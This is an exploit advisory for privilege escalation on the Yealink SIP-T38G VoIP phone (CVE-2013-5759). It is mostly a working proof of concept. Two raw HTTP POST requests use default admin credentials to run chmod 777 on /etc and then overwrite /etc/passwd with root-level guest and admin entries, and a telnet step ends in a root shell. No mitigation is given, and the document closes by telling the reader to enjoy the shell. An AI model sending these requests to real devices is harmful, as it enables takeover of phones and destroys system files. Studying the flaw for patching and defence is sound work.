Yealink VoIP Phone SIP-T38G - Privilege Escalation

Title: Yealink VoIP Phone SIP-T38G Privileges Escalation

Author: Mr.Un1k0d3r & Doreth.Z10 From RingZer0 Team

Vendor Homepage: http://www.yealink.com/Companyprofile.aspx

Version: VoIP Phone SIP-T38G

CVE: CVE-2013-5759



Description:



Using the fact that cgiServer.exx run under the root privileges we use the

command execution (CVE-2013-5758) to modify the system file restriction.

Then we add extra privileges to the guest account.



POC:



Step 1 - Changing /etc folder right to 777:



POST /cgi-bin/cgiServer.exx HTTP/1.1

Host: 10.0.75.122

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Authorization: Basic YWRtaW46YWRtaW4=

Connection: keep-alive

Content-Type: application/x-www-form-urlencoded

Content-Length: 0



system("/bin/busybox%20chmod%20-R%20777%20/etc")



Step 2 - Change guest user uid:



POST /cgi-bin/cgiServer.exx HTTP/1.1

Host: 10.0.75.122

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Authorization: Basic YWRtaW46YWRtaW4=

Connection: keep-alive

Content-Type: application/x-www-form-urlencoded

Content-Length: 0



system("echo "root:x:0:0:Root,,,:/:/bin/sh

admin:x:500:500:Admin,,,:/:/bin/sh

guest:x:0:0:Guest,,,:/:/bin/sh\" > /etc/passwd

")



Step 3 - Connect back using telnet and guest account (password is guest):



# id

uid=0(root) gid=0(root)



Enjoy your root shell :)



-- 

*Mr.Un1k0d3r** or 1 #*